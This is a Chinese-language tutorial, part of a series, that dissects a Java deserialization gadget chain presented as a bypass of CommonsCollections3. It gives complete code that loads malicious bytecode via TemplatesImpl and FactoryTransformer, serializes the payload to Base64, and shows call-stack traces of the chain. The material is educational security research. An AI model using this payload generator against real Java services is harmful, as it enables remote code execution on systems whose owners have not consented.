接上文https://articles.zsxq.com/id_0t5vt1gxmwab.html
前面如果有跟着做的人应该已经能够动态调试了吧,查看每一步数据有什么不同之处,在这里,我想先把上一步过程中的一些复杂的地方简单化,并且分开讲解其中的一些点。
步骤拆分
1、首先,先看一整个类,有这么长
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
publicclassCC3_bypass {
publicstaticvoidsetFieldValue(Object obj, String fieldName, Object
value) {
try {
Fieldfield= obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} catch (Exception e) {
}
}
publicstaticvoidmain(String[] args)throws Exception{
ConstantTransformerconstantTransformer=newConstantTransformer(1);
TemplatesImplobj=newTemplatesImpl();
setFieldValue(obj, "_bytecodes", newbyte[][]{
ClassPool.getDefault().get(Exp.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = newInstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,newClass[]{javax.xml.transform.Templates.class},newObject[]{obj});
FactoryTransformerfactoryTransformer=newFactoryTransformer(instantiateFactory);
MapinnerMap=newHashMap();
LazyMapouterMap= (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntrytme=newTiedMapEntry(outerMap, "keykey");
MapexpMap=newHashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
ByteArrayOutputStreambyteArrayOutputStream=newByteArrayOutputStream();
ObjectOutputStreamobjectOutputStream=newObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
ByteArrayInputStreambyteArrayInputStream=newByteArrayInputStream(byteArrayOutputStream.toByteArray());
Base64.Encoderencoder= Base64.getEncoder();
Stringencode= encoder.encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(encode);
ObjectInputStreamois=newObjectInputStream(new
ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Objecto= (Object)ois.readObject();
}
}
2、如果让我简单拆分,应该分为以下几部分
第一部分,引用包,一般没什么特别注意的,就是引用了哪些包里面的代码,暂时不用特意关注
第二部分,反射方法 setFieldValue
作用是反射赋予某项某值,后面详细介绍
第三部分,获取恶意类对象 factoryTransformer
第四部分,反序列化核心部分,构造gadget chain的地方
第五部分,序列化与反序列化
各部分分析
第一部分 引用包
可以说是文件包含类的东西,需要某个类中的方法,就需要引用,没有什么需要详细讲的。
第二部分 setFieldValue
我也不知道是不是约定俗成的,明明是自己定义的方法,但是名字都是叫setFieldValue,详见ysoserial代码:ysoserial.payloads.util.Reflections
也有地方不使用定义一个方法这样的方式进行反射赋值,而是使用以下方式,效果是一样的。具体可以了解一下何为反射,这就是常见反射赋值的方式
第三部分 恶意类对象的获取
首先先看constantTransformer对象,内容为1,此处无实际意义。只是在创建HashMap恶意对象前,先传入一个无用的constantTransformer,最后再通过反射,将恶意的factoryTransformer赋值进去,避免了在序列化的时候就触发了恶意代码。
然后是TemplatesImpl对象的创建,有了解过TemplatesImpl的应该知道,这其实也是有一条利用链的,可以用来执行任意java恶意字节码
在newTransformer方法中,这里会调用到getTransletInstance
在getTransletInstance中,首先需要_name不为空,然后试_class为空,进而调用defineTransletClasses。下一步调用newInstance触发。
看下defineTransletClasses,这里需要_bytecodes不为空
往下走可以看到通过defineClass定义了恶意类,所以_bytecodes指定了恶意类字节码
往回走一点,loader的定义,这里调用了_tfactory.getExternalExtensionsMap(),所以需要给它赋值
第四部分 gadget chain
gadget chain即反序列化利用链。
原文表示此为CC3的绕过。
CC3原版的链
<init>:16, TemplatesImplEvil (com.classloader)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect) [2]
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect) [1]
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
transform:106, InstantiateTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
readObject:373, ObjectInputStream (java.io)
bypass链
<init>:11, Exp (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) [2]
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) [1]
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
readObject:373, ObjectInputStream (java.io)
main:77, CC3_bypass (org.example)
看了之后可以发现,从ObjectInputStream.readObject一直到LazyMap.get,都是与原来的链相同的,不同点在这里
create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)
这LazyMap.get处,可以指定调用到哪个类的transform方法,这里指定了FactoryTransformer
然后到org.apache.commons.collections.functors.FactoryTransformer#transform
构造方法控制iFactory的值,调用其create方法
在create方法中,调用newInstance,进而到CC3的后续部分
通过com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 的构造方法中调用newTransformer()
TemplatesImpl通过newTransformer执行字节码
第五部分 序列化和反序列化
这里是一条反序列化的利用链,那么肯定少不了序列化和反序列化的过程,也就是此处,实际利用的话就是去掉后半部分,只留下序列化和输出序列化内容。
其中writeObject即是序列化关键函数
被序列化的对象为expMap,根据利用链知道,需要调用的是HashMap.readObject,所以这里也就是HashMap的对象
中间部分为输出序列化内容的base64,不需要的情况下也是可以注释掉的
最后是反序列化部分,readObject为关键函数